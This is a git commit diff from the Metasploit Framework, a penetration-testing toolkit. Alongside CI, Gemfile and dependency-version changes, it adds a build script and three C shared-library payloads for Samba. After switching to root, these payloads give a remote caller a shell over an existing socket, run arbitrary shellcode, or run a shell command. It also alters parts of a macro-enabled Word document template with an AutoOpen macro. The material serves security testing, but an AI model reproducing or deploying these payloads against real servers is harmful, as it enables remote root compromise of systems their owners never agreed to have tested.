Merge branch 'master' into feature/eternal_blue/rubysmb_refactor

This commit is contained in:
David Maloney 2017-05-30 13:59:31 -05:00
commit d5e74ffdf3
No known key found for this signature in database
GPG Key ID: DEDBA9DC3A913DB2
101 changed files with 2601 additions and 487 deletions

View File

@ -16,9 +16,10 @@ rvm:
- '2.4.1'
env:
- CMD=bundle exec rake "cucumber cucumber:boot" CREATE_BINSTUBS=true
- CMD=bundle exec rake spec SPEC_OPTS="--tag content"
- CMD=bundle exec rake spec SPEC_OPTS="--tag ~content"
# TODO: restore these tests when the code passes them!
# - CMD='bundle exec rake cucumber cucumber:boot CREATE_BINSTUBS=true'
- CMD='bundle exec rake spec SPEC_OPTS="--tag content"'
- CMD='bundle exec rake spec SPEC_OPTS="--tag ~content"'
matrix:
fast_finish: true
@ -32,14 +33,18 @@ before_install:
- ln -sf ../../tools/dev/pre-commit-hook.rb ./.git/hooks/post-merge
- ls -la ./.git/hooks
- ./.git/hooks/post-merge
# Update the bundler
- gem install bundler
before_script:
- cp config/database.yml.travis config/database.yml
- bundle exec rake --version
- bundle exec rake db:create
- bundle exec rake db:migrate
script:
# fail build if db/schema.rb update is not committed
- git diff --exit-code db/schema.rb && $CMD
- git diff --exit-code db/schema.rb
script:
- echo "${CMD}"
- bash -c "${CMD}"
notifications:
irc: "irc.freenode.org#msfnotify"

View File

@ -3,10 +3,6 @@ source 'https://rubygems.org'
# spec.add_runtime_dependency '<name>', [<version requirements>]
gemspec name: 'metasploit-framework'
gem 'bit-struct', git: 'https://github.com/busterb/bit-struct', branch: 'ruby-2.4'
gem 'method_source', git: 'https://github.com/banister/method_source', branch: 'master'
gem 'ruby_smb', path: '/Users/dmaloney/rapid7/ruby_smb'
# separate from test as simplecov is not run on travis-ci
group :coverage do
# code coverage for tests
@ -19,7 +15,7 @@ group :development do
# generating documentation
gem 'yard'
# for development and testing purposes
gem 'pry', git: 'https://github.com/pry/pry', branch: 'master'
gem 'pry'
# module documentation
gem 'octokit'
# metasploit-aggregator as a framework only option for now

View File

@ -1,30 +1,7 @@
GIT
remote: https://github.com/banister/method_source
revision: 0cc6cc8e15d08880585e8cb0c54e13c3cf937c54
branch: master
specs:
method_source (0.8.1)
GIT
remote: https://github.com/busterb/bit-struct
revision: 707133ae6af5420be6fbe29be6baa5fbc929da2e
branch: ruby-2.4
specs:
bit-struct (0.15.0)
GIT
remote: https://github.com/pry/pry
revision: f19d3e2ae86a677e1e926016fa1a5763675e3659
branch: master
specs:
pry (0.10.4)
coderay (~> 1.1.0)
method_source (~> 0.8.1)
PATH
remote: .
specs:
metasploit-framework (4.14.22)
metasploit-framework (4.14.24)
actionpack (~> 4.2.6)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
@ -58,7 +35,7 @@ PATH
rb-readline
recog
redcarpet
rex-arch (= 0.1.4)
rex-arch
rex-bin_tools
rex-core
rex-encoder
@ -138,6 +115,7 @@ GEM
backports (3.8.0)
bcrypt (3.1.11)
bindata (2.4.0)
bit-struct (0.16)
builder (3.2.3)
capybara (2.14.0)
addressable
@ -237,6 +215,7 @@ GEM
railties (~> 4.2.6)
recog (~> 2.0)
metasploit_payloads-mettle (0.1.9)
method_source (0.8.2)
mime-types (3.1)
mime-types-data (~> 3.2015)
mime-types-data (3.2016.0521)
@ -267,6 +246,10 @@ GEM
activerecord (>= 4.0.0)
arel (>= 4.0.1)
pg_array_parser (~> 0.0.9)
pry (0.10.4)
coderay (~> 1.1.0)
method_source (~> 0.8.1)
slop (~> 3.4)
public_suffix (2.0.5)
rack (1.6.8)
rack-test (0.6.3)
@ -286,10 +269,10 @@ GEM
thor (>= 0.18.1, < 2.0)
rake (12.0.0)
rb-readline (0.5.4)
recog (2.1.7)
recog (2.1.8)
nokogiri
redcarpet (3.4.0)
rex-arch (0.1.4)
rex-arch (0.1.8)
rex-text
rex-bin_tools (0.1.3)
metasm
@ -353,6 +336,10 @@ GEM
rspec-mocks (~> 3.6.0)
rspec-support (~> 3.6.0)
rspec-support (3.6.0)
ruby_smb (0.0.17)
bindata
rubyntlm
windows_error
rubyntlm (0.6.2)
rubyzip (1.2.1)
sawyer (0.8.1)
@ -370,6 +357,7 @@ GEM
json (>= 1.8, < 3)
simplecov-html (~> 0.10.0)
simplecov-html (0.10.1)
slop (3.6.0)
sqlite3 (1.3.13)
sshkey (1.9.0)
thor (0.19.4)
@ -381,7 +369,7 @@ GEM
tzinfo (>= 1.0.0)
windows_error (0.1.2)
xmlrpc (0.3.0)
xpath (2.0.0)
xpath (2.1.0)
nokogiri (~> 1.3)
yard (0.9.9)
@ -390,15 +378,13 @@ PLATFORMS
DEPENDENCIES
aruba
bit-struct!
cucumber-rails
factory_girl_rails
fivemat
metasploit-aggregator
metasploit-framework!
method_source!
octokit
pry!
pry
rake
redcarpet
rspec-rails

View File

@ -6,20 +6,21 @@ activerecord, 4.2.8, MIT
activesupport, 4.2.8, MIT
addressable, 2.5.1, "Apache 2.0"
arel, 6.0.4, MIT
arel-helpers, 2.3.0, unknown
arel-helpers, 2.4.0, unknown
aruba, 0.14.2, MIT
backports, 3.8.0, MIT
bcrypt, 3.1.11, MIT
bindata, 2.4.0, ruby
bit-struct, 0.15.0, ruby
bit-struct, 0.16, ruby
builder, 3.2.3, MIT
bundler, 1.14.6, MIT
bundler, 1.15.0, MIT
capybara, 2.14.0, MIT
childprocess, 0.5.9, MIT
coderay, 1.1.1, MIT
contracts, 0.16.0, "Simplified BSD"
cucumber, 2.4.0, MIT
cucumber-core, 1.5.0, MIT
cucumber-rails, 1.4.5, MIT
cucumber-rails, 1.5.0, MIT
cucumber-wire, 0.0.1, MIT
diff-lcs, 1.3, "MIT, Artistic-2.0, GPL-2.0+"
docile, 1.1.5, MIT
@ -31,9 +32,9 @@ ffi, 1.9.18, "New BSD"
filesize, 0.1.1, MIT
fivemat, 1.3.3, MIT
gherkin, 4.1.3, MIT
google-protobuf, 3.2.0.2, "New BSD"
google-protobuf, 3.3.0, "New BSD"
googleauth, 0.5.1, "Apache 2.0"
grpc, 1.2.5, "New BSD"
grpc, 1.3.4, "New BSD"
i18n, 0.8.1, MIT
jsobfu, 0.4.2, "New BSD"
json, 2.1.0, ruby
@ -43,19 +44,19 @@ logging, 2.2.2, MIT
loofah, 2.0.3, MIT
memoist, 0.15.0, MIT
metasm, 1.0.3, LGPL
metasploit-aggregator, 0.1.3, "New BSD"
metasploit-concern, 2.0.3, "New BSD"
metasploit-credential, 2.0.8, "New BSD"
metasploit-framework, 4.14.17, "New BSD"
metasploit-model, 2.0.3, "New BSD"
metasploit-payloads, 1.2.28, "3-clause (or ""modified"") BSD"
metasploit-aggregator, 0.2.1, "New BSD"
metasploit-concern, 2.0.4, "New BSD"
metasploit-credential, 2.0.9, "New BSD"
metasploit-framework, 4.14.23, "New BSD"
metasploit-model, 2.0.4, "New BSD"
metasploit-payloads, 1.2.29, "3-clause (or ""modified"") BSD"
metasploit_data_models, 2.0.14, "New BSD"
metasploit_payloads-mettle, 0.1.9, "3-clause (or ""modified"") BSD"
method_source, 0.8.1, MIT
method_source, 0.8.2, MIT
mime-types, 3.1, MIT
mime-types-data, 3.2016.0521, MIT
mini_portile2, 2.1.0, MIT
minitest, 5.10.1, MIT
minitest, 5.10.2, MIT
msgpack, 1.1.0, "Apache 2.0"
multi_json, 1.12.1, MIT
multi_test, 0.1.2, MIT
@ -64,7 +65,7 @@ nessus_rest, 0.1.6, MIT
net-ssh, 4.1.0, MIT
network_interface, 0.0.1, MIT
nexpose, 6.0.0, BSD
nokogiri, 1.7.1, MIT
nokogiri, 1.7.2, MIT
octokit, 4.7.0, MIT
openssl-ccm, 1.2.1, MIT
openvas-omp, 0.0.4, MIT
@ -77,7 +78,7 @@ pg_array_parser, 0.0.9, unknown
postgres_ext, 3.0.0, MIT
pry, 0.10.4, MIT
public_suffix, 2.0.5, MIT
rack, 1.6.5, MIT
rack, 1.6.8, MIT
rack-test, 0.6.3, MIT
rails-deprecated_sanitizer, 1.0.3, MIT
rails-dom-testing, 1.0.8, MIT
@ -85,26 +86,26 @@ rails-html-sanitizer, 1.0.3, MIT
railties, 4.2.8, MIT
rake, 12.0.0, MIT
rb-readline, 0.5.4, BSD
recog, 2.1.6, unknown
recog, 2.1.8, unknown
redcarpet, 3.4.0, MIT
rex-arch, 0.1.4, "New BSD"
rex-bin_tools, 0.1.2, "New BSD"
rex-core, 0.1.9, "New BSD"
rex-encoder, 0.1.3, "New BSD"
rex-exploitation, 0.1.13, "New BSD"
rex-java, 0.1.4, "New BSD"
rex-mime, 0.1.4, "New BSD"
rex-nop, 0.1.0, unknown
rex-ole, 0.1.5, "New BSD"
rex-powershell, 0.1.71, "New BSD"
rex-bin_tools, 0.1.3, "New BSD"
rex-core, 0.1.10, "New BSD"
rex-encoder, 0.1.4, "New BSD"
rex-exploitation, 0.1.14, "New BSD"
rex-java, 0.1.5, "New BSD"
rex-mime, 0.1.5, "New BSD"
rex-nop, 0.1.1, "New BSD"
rex-ole, 0.1.6, "New BSD"
rex-powershell, 0.1.72, "New BSD"
rex-random_identifier, 0.1.2, "New BSD"
rex-registry, 0.1.2, "New BSD"
rex-rop_builder, 0.1.2, "New BSD"
rex-socket, 0.1.5, "New BSD"
rex-sslscan, 0.1.3, "New BSD"
rex-struct2, 0.1.1, "New BSD"
rex-text, 0.2.14, "New BSD"
rex-zip, 0.1.2, "New BSD"
rex-registry, 0.1.3, "New BSD"
rex-rop_builder, 0.1.3, "New BSD"
rex-socket, 0.1.6, "New BSD"
rex-sslscan, 0.1.4, "New BSD"
rex-struct2, 0.1.2, "New BSD"
rex-text, 0.2.15, "New BSD"
rex-zip, 0.1.3, "New BSD"
rkelly-remix, 0.0.7, MIT
robots, 0.10.1, MIT
rspec-core, 3.6.0, MIT
@ -112,14 +113,15 @@ rspec-expectations, 3.6.0, MIT
rspec-mocks, 3.6.0, MIT
rspec-rails, 3.6.0, MIT
rspec-support, 3.6.0, MIT
ruby_smb, 0.0.12, "New BSD"
ruby_smb, 0.0.17, "New BSD"
rubyntlm, 0.6.2, MIT
rubyzip, 1.2.1, "Simplified BSD"
sawyer, 0.8.1, MIT
shoulda-matchers, 3.1.1, MIT
signet, 0.7.3, "Apache 2.0"
simplecov, 0.14.1, MIT
simplecov-html, 0.10.0, MIT
simplecov-html, 0.10.1, MIT
slop, 3.6.0, MIT
sqlite3, 1.3.13, "New BSD"
sshkey, 1.9.0, MIT
thor, 0.19.4, MIT
@ -127,7 +129,7 @@ thread_safe, 0.3.6, "Apache 2.0"
timecop, 0.8.1, MIT
tzinfo, 1.2.3, MIT
tzinfo-data, 1.2017.2, MIT
windows_error, 0.1.1, BSD
windows_error, 0.1.2, BSD
xmlrpc, 0.3.0, ruby
xpath, 2.0.0, unknown
xpath, 2.1.0, MIT
yard, 0.9.9, MIT

View File

@ -0,0 +1,48 @@
#!/bin/bash
build () {
CC=$1
TARGET_SUFFIX=$2
CFLAGS=$3
echo "[*] Building for ${TARGET_SUFFIX}..."
for type in {shellcode,system,findsock}
do ${CC} ${CFLAGS} -Wall -Werror -fPIC -fno-stack-protector samba-root-${type}.c -shared -o samba-root-${type}-${TARGET_SUFFIX}.so
done
}
rm -f *.o *.so *.gz
#
# Linux GLIBC
#
# x86
build "gcc" "linux-glibc-x86_64" "-m64 -D OLD_LIB_SET_2"
build "gcc" "linux-glibc-x86" "-m32 -D OLD_LIB_SET_1"
# ARM
build "arm-linux-gnueabi-gcc-5" "linux-glibc-armel" "-march=armv5 -mlittle-endian"
build "arm-linux-gnueabihf-gcc-5" "linux-glibc-armhf" "-march=armv7 -mlittle-endian"
build "aarch64-linux-gnu-gcc-4.9" "linux-glibc-aarch64" ""
# MIPS
build "mips-linux-gnu-gcc-5" "linux-glibc-mips" "-D OLD_LIB_SET_1"
build "mipsel-linux-gnu-gcc-5" "linux-glibc-mipsel" "-D OLD_LIB_SET_1"
build "mips64-linux-gnuabi64-gcc-5" "linux-glibc-mips64" "-D OLD_LIB_SET_1"
build "mips64el-linux-gnuabi64-gcc-5" "linux-glibc-mips64el" "-D OLD_LIB_SET_1"
# SPARC
build "sparc64-linux-gnu-gcc-5" "linux-glibc-sparc64" ""
build "sparc64-linux-gnu-gcc-5" "linux-glibc-sparc" "-m32 -D OLD_LIB_SET_1"
# PowerPC
build "powerpc-linux-gnu-gcc-5" "linux-glibc-powerpc" "-D OLD_LIB_SET_1"
build "powerpc64-linux-gnu-gcc-5" "linux-glibc-powerpc64" ""
build "powerpc64le-linux-gnu-gcc-4.9" "linux-glibc-powerpc64le" ""
# S390X
build "s390x-linux-gnu-gcc-5" "linux-glibc-s390x" ""
gzip -9 *.so
rm -f *.o *.so

View File

@ -0,0 +1,21 @@
#!/bin/bash
# Assume x86_64 Ubuntu 16.04 base system
apt-get install build-essential \
gcc-5-multilib \
gcc-5-multilib-arm-linux-gnueabi \
gcc-5-multilib-arm-linux-gnueabihf \
gcc-5-multilib-mips-linux-gnu \
gcc-5-multilib-mips64-linux-gnuabi64 \
gcc-5-multilib-mips64el-linux-gnuabi64 \
gcc-5-multilib-mipsel-linux-gnu \
gcc-5-multilib-powerpc-linux-gnu \
gcc-5-multilib-powerpc64-linux-gnu \
gcc-5-multilib-s390x-linux-gnu \
gcc-5-multilib-sparc64-linux-gnu \
gcc-4.9-powerpc64le-linux-gnu \
gcc-4.9-aarch64-linux-gnu
if [ ! -e /usr/include/asm ];
then ln -sf /usr/include/asm-generic /usr/include/asm
fi

View File

@ -0,0 +1,67 @@
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <signal.h>
#include <string.h>
#ifdef OLD_LIB_SET_1
__asm__(".symver execve,execve@GLIBC_2.0");
__asm__(".symver dup2,dup2@GLIBC_2.0");
__asm__(".symver getsockname,getsockname@GLIBC_2.0");
#endif
#ifdef OLD_LIB_SET_2
__asm__(".symver execve,execve@GLIBC_2.2.5");
__asm__(".symver dup2,dup2@GLIBC_2.2.5");
__asm__(".symver getsockname,getsockname@GLIBC_2.2.5");
#endif
extern bool change_to_root_user(void);
// Samba 4 looks for samba_init_module
int samba_init_module(void)
{
char *args[2] = {"/bin/sh", 0};
struct sockaddr_in sa;
socklen_t sl = sizeof(sa);
int s;
unsigned char buff[] = {
0x00, 0x00, 0x00, 0x23, 0xff, 0x53, 0x4d, 0x42,
0xa2, 0x39, 0x00, 0x00, 0xc0, 0x88, 0x03, 0xc8,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x64, 0x7e,
0x64, 0x00, 0x8c, 0x00, 0x00, 0x00, 0x00
};
change_to_root_user();
for (s=4096; s>0; s--) {
// Skip over invalid sockets
if (getsockname(s, (struct sockaddr *)&sa, &sl) != 0)
continue;
// Skip over non internet sockets
if (sa.sin_family != AF_INET)
continue;
// Send a semi-valid SMB response to simplify things
send(s, buff, sizeof(buff), 0);
// Duplicate standard input/output/error
dup2(s, 0);
dup2(s, 1);
dup2(s, 2);
execve(args[0], args, NULL);
}
return 0;
}
// Samba 3 looks for init_samba_module
int init_samba_module(void) { return samba_init_module(); }

View File

@ -0,0 +1,47 @@
#include <stdio.h>
#include <stdbool.h>
#include <unistd.h>
#include <sys/mman.h>
#include <string.h>
#include <signal.h>
#ifdef OLD_LIB_SET_1
__asm__(".symver mmap,mmap@GLIBC_2.0");
__asm__(".symver memcpy,memcpy@GLIBC_2.0");
__asm__(".symver fork,fork@GLIBC_2.0");
#endif
#ifdef OLD_LIB_SET_2
__asm__(".symver mmap,mmap@GLIBC_2.2.5");
__asm__(".symver memcpy,memcpy@GLIBC_2.2.5");
__asm__(".symver fork,fork@GLIBC_2.2.5");
#endif
#define PAYLOAD_SIZE 10000
unsigned char payload[PAYLOAD_SIZE] = {'P','A','Y','L','O','A','D',0};
extern bool change_to_root_user(void);
// Samba 4 looks for samba_init_module
int samba_init_module(void)
{
void *mem;
void (*fn)();
change_to_root_user();
mem = mmap(NULL, PAYLOAD_SIZE, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
if (mem == MAP_FAILED)
return 0;
memcpy(mem, payload, PAYLOAD_SIZE);
fn = (void(*)())mem;
if (! fork()) {
fn();
kill(getpid(), 9);
}
return 0;
}
// Samba 3 looks for init_samba_module
int init_samba_module(void) { return samba_init_module(); }

View File

@ -0,0 +1,34 @@
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <unistd.h>
#include <sys/mman.h>
#include <string.h>
#ifdef OLD_LIB_SET_1
__asm__(".symver system,system@GLIBC_2.0");
__asm__(".symver fork,fork@GLIBC_2.0");
#endif
#ifdef OLD_LIB_SET_2
__asm__(".symver system,system@GLIBC_2.2.5");
__asm__(".symver fork,fork@GLIBC_2.2.5");
#endif
#define PAYLOAD_SIZE 10000
unsigned char payload[PAYLOAD_SIZE] = {'P','A','Y','L','O','A','D',0};
extern bool change_to_root_user(void);
// Samba 4 looks for samba_init_module
int samba_init_module(void)
{
change_to_root_user();
if (! fork()) {
system((const char*)payload);
}
return 0;
}
// Samba 3 looks for init_samba_module
int init_samba_module(void) { return samba_init_module(); }

View File

@ -1,2 +0,0 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="bin" ContentType="application/vnd.ms-office.vbaProject"/><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/word/document.xml" ContentType="application/vnd.ms-word.document.macroEnabled.main+xml"/><Override PartName="/word/vbaData.xml" ContentType="application/vnd.ms-word.vbaData+xml"/><Override PartName="/word/styles.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.styles+xml"/><Override PartName="/word/settings.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.settings+xml"/><Override PartName="/word/webSettings.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.webSettings+xml"/><Override PartName="/word/fontTable.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.fontTable+xml"/><Override PartName="/word/theme/theme1.xml" ContentType="application/vnd.openxmlformats-officedocument.theme+xml"/><Override PartName="/docProps/core.xml" ContentType="application/vnd.openxmlformats-package.core-properties+xml"/><Override PartName="/docProps/app.xml" ContentType="application/vnd.openxmlformats-officedocument.extended-properties+xml"/></Types>

View File

@ -1,2 +0,0 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/extended-properties" Target="docProps/app.xml"/><Relationship Id="rId2" Type="http://schemas.openxmlformats.org/package/2006/relationships/metadata/core-properties" Target="docProps/core.xml"/><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="word/document.xml"/></Relationships>

View File

@ -0,0 +1,13 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<cp:coreProperties xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:dcterms="http://purl.org/dc/terms/" xmlns:dcmitype="http://purl.org/dc/dcmitype/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<dc:title/>
<dc:subject/>
<dc:creator/>
<cp:keywords/>
<dc:description></dc:description>
<cp:lastModifiedBy>Nobody</cp:lastModifiedBy>
<cp:revision>1</cp:revision>
<dcterms:created xsi:type="dcterms:W3CDTF">2017-05-25T19:12:00Z</dcterms:created>
<dcterms:modified xsi:type="dcterms:W3CDTF">2017-05-25T19:28:00Z</dcterms:modified>
<cp:category/>
</cp:coreProperties>

View File

@ -1,2 +0,0 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Properties xmlns="http://schemas.openxmlformats.org/officeDocument/2006/extended-properties" xmlns:vt="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes"><Template>Normal.dotm</Template><TotalTime>105</TotalTime><Pages>1</Pages><Words>1</Words><Characters>10</Characters><Application>Microsoft Office Word</Application><DocSecurity>0</DocSecurity><Lines>1</Lines><Paragraphs>1</Paragraphs><ScaleCrop>false</ScaleCrop><HeadingPairs><vt:vector size="2" baseType="variant"><vt:variant><vt:lpstr>Title</vt:lpstr></vt:variant><vt:variant><vt:i4>1</vt:i4></vt:variant></vt:vector></HeadingPairs><TitlesOfParts><vt:vector size="1" baseType="lpstr"><vt:lpstr></vt:lpstr></vt:vector></TitlesOfParts><Company></Company><LinksUpToDate>false</LinksUpToDate><CharactersWithSpaces>10</CharactersWithSpaces><SharedDoc>false</SharedDoc><HyperlinksChanged>false</HyperlinksChanged><AppVersion>15.0000</AppVersion></Properties>

View File

@ -1,2 +0,0 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<cp:coreProperties xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:dcterms="http://purl.org/dc/terms/" xmlns:dcmitype="http://purl.org/dc/dcmitype/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><dc:title></dc:title><dc:subject></dc:subject><dc:creator>Windows User</dc:creator><cp:keywords></cp:keywords><dc:description> PAYLOADGOESHERE</dc:description><cp:lastModifiedBy>Windows User</cp:lastModifiedBy><cp:revision>32</cp:revision><dcterms:created xsi:type="dcterms:W3CDTF">2017-02-01T20:39:00Z</dcterms:created><dcterms:modified xsi:type="dcterms:W3CDTF">2017-02-02T22:26:00Z</dcterms:modified></cp:coreProperties>

Binary file not shown.

View File

@ -1,2 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<wne:vbaSuppData xmlns:wpc="http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas" xmlns:mo="http://schemas.microsoft.com/office/mac/office/2008/main" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:mv="urn:schemas-microsoft-com:mac:vml" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:wp14="http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing" xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:w15="http://schemas.microsoft.com/office/word/2012/wordml" xmlns:wpg="http://schemas.microsoft.com/office/word/2010/wordprocessingGroup" xmlns:wpi="http://schemas.microsoft.com/office/word/2010/wordprocessingInk" xmlns:wne="http://schemas.microsoft.com/office/word/2006/wordml" xmlns:wps="http://schemas.microsoft.com/office/word/2010/wordprocessingShape" mc:Ignorable="w14 w15 wp14"><wne:mcds><wne:mcd wne:macroName="PROJECT.NEWMACROS.AUTOOPEN" wne:name="Project.NewMacros.AutoOpen" wne:bEncrypt="00" wne:cmg="56"/></wne:mcds></wne:vbaSuppData>
<wne:vbaSuppData xmlns:wpc="http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas" xmlns:mo="http://schemas.microsoft.com/office/mac/office/2008/main" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:mv="urn:schemas-microsoft-com:mac:vml" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:wp14="http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing" xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:wpg="http://schemas.microsoft.com/office/word/2010/wordprocessingGroup" xmlns:wpi="http://schemas.microsoft.com/office/word/2010/wordprocessingInk" xmlns:wne="http://schemas.microsoft.com/office/word/2006/wordml" xmlns:wps="http://schemas.microsoft.com/office/word/2010/wordprocessingShape" mc:Ignorable="w14 wp14"><wne:mcds><wne:mcd wne:macroName="PROJECT.NEWMACROS.AUTOOPEN" wne:name="Project.NewMacros.AutoOpen" wne:bEncrypt="00" wne:cmg="56"/></wne:mcds></wne:vbaSuppData>

Binary file not shown.

View File

@ -1,2 +0,0 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/settings" Target="settings.xml"/><Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/styles" Target="styles.xml"/><Relationship Id="rId1" Type="http://schemas.microsoft.com/office/2006/relationships/vbaProject" Target="vbaProject.bin"/><Relationship Id="rId6" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/theme" Target="theme/theme1.xml"/><Relationship Id="rId5" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/fontTable" Target="fontTable.xml"/><Relationship Id="rId4" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/webSettings" Target="webSettings.xml"/></Relationships>

View File

@ -1,2 +0,0 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<w:document xmlns:wpc="http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:wp14="http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing" xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:w15="http://schemas.microsoft.com/office/word/2012/wordml" xmlns:wpg="http://schemas.microsoft.com/office/word/2010/wordprocessingGroup" xmlns:wpi="http://schemas.microsoft.com/office/word/2010/wordprocessingInk" xmlns:wne="http://schemas.microsoft.com/office/word/2006/wordml" xmlns:wps="http://schemas.microsoft.com/office/word/2010/wordprocessingShape" mc:Ignorable="w14 w15 wp14"><w:body><w:p w:rsidR="00A31ED0" w:rsidRDefault="00366A6C"><w:bookmarkStart w:id="0" w:name="_GoBack"/><w:bookmarkEnd w:id="0"/><w:r><w:t>DOCBODYGOESHER</w:t></w:r></w:p><w:sectPr w:rsidR="00A31ED0"><w:pgSz w:w="12240" w:h="15840"/><w:pgMar w:top="1440" w:right="1440" w:bottom="1440" w:left="1440" w:header="720" w:footer="720" w:gutter="0"/><w:cols w:space="720"/><w:docGrid w:linePitch="360"/></w:sectPr></w:body></w:document>

View File

@ -1,2 +0,0 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<w:fonts xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:w15="http://schemas.microsoft.com/office/word/2012/wordml" mc:Ignorable="w14 w15"><w:font w:name="Calibri"><w:panose1 w:val="020F0502020204030204"/><w:charset w:val="00"/><w:family w:val="swiss"/><w:pitch w:val="variable"/><w:sig w:usb0="E10002FF" w:usb1="4000ACFF" w:usb2="00000009" w:usb3="00000000" w:csb0="0000019F" w:csb1="00000000"/></w:font><w:font w:name="Times New Roman"><w:panose1 w:val="02020603050405020304"/><w:charset w:val="00"/><w:family w:val="roman"/><w:pitch w:val="variable"/><w:sig w:usb0="E0002AFF" w:usb1="C0007841" w:usb2="00000009" w:usb3="00000000" w:csb0="000001FF" w:csb1="00000000"/></w:font><w:font w:name="Calibri Light"><w:panose1 w:val="020F0302020204030204"/><w:charset w:val="00"/><w:family w:val="swiss"/><w:pitch w:val="variable"/><w:sig w:usb0="A00002EF" w:usb1="4000207B" w:usb2="00000000" w:usb3="00000000" w:csb0="0000019F" w:csb1="00000000"/></w:font></w:fonts>

View File

@ -1,2 +0,0 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<w:settings xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:w15="http://schemas.microsoft.com/office/word/2012/wordml" xmlns:sl="http://schemas.openxmlformats.org/schemaLibrary/2006/main" mc:Ignorable="w14 w15"><w:zoom w:percent="100"/><w:proofState w:spelling="clean" w:grammar="clean"/><w:defaultTabStop w:val="720"/><w:characterSpacingControl w:val="doNotCompress"/><w:compat><w:compatSetting 